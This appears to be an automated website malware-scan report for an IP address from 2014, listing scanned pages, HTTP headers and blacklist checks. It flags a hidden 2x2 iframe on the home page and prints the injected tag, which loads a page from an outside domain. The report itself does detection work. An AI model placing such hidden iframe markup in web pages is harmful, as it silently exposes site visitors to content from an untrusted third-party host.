New scan:

Malware Scanner report for 212.123.24.249

Malicious/Suspicious/Total urls checked
0/0/6
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/1/1
1 suspicious iframe found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://212.123.24.249/
200 OK
Content-Length: 1013
Content-Type: text/html
suspicious
Hidden iFrame found.
size: 2x2     
src: http://hecodat.de/zwmd.html?i=3270188

<iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://hecodat.de/zwmd.html?i=3270188>

http://212.123.24.249/ZendCore/
HTTP/1.1 200 OK
Connection: close
Date: Thu, 05 Jun 2014 14:22:26 GMT
Accept-Ranges: bytes
ETag: "10280-c5-9e5f3c00"
Server: Apache/2.2.4 (Unix) Zend Core/2.5.0 PHP/5.2.4
Content-Length: 197
Content-Type: text/html; charset=ISO-8859-1
Last-Modified: Wed, 21 Nov 2007 05:26:08 GMT
clean
http://212.123.24.249/ZendCore/index.php
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Thu, 05 Jun 2014 14:22:26 GMT
Pragma: no-cache
Location: login.php?goto=index.php
Server: Apache/2.2.4 (Unix) Zend Core/2.5.0 PHP/5.2.4
Content-Length: 39
Content-Type: text/html; charset=ISO-8859-1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=8pr5tv1bfj03nf66602fu47q40; path=/
Set-Cookie: za_locale=en; expires=Fri, 05-Jun-2015 14:22:27 GMT
X-Powered-By: Zend Core/2.5.0 PHP/5.2.4
clean
http://212.123.24.249/ZendCore/login.php?goto=index.php
200 OK
Content-Length: 12525
Content-Type: text/html
clean
http://212.123.24.249/test404page.js
404 Not Found
Content-Length: 312
Content-Type: text/html
clean
http://212.123.24.249/Zend_Navigator_Demo/login.php
200 OK
Content-Length: 13068
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: 212.123.24.249

Result:
HTTP/1.1 200 OK
Connection: close
Date: Thu, 05 Jun 2014 14:22:26 GMT
Accept-Ranges: bytes
ETag: "10002-3f5-79d7ec0"
Server: Apache/2.2.4 (Unix) Zend Core/2.5.0 PHP/5.2.4
Content-Length: 1013
Content-Type: text/html; charset=ISO-8859-1
Last-Modified: Fri, 07 Jun 2013 22:34:11 GMT

...1013 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: 212.123.24.249
Referer: http://www.google.com/search?q=212.123.24.249

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=212.123.24.249

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://212.123.24.249/

Result: 212.123.24.249 is not infected or malware details are not published yet.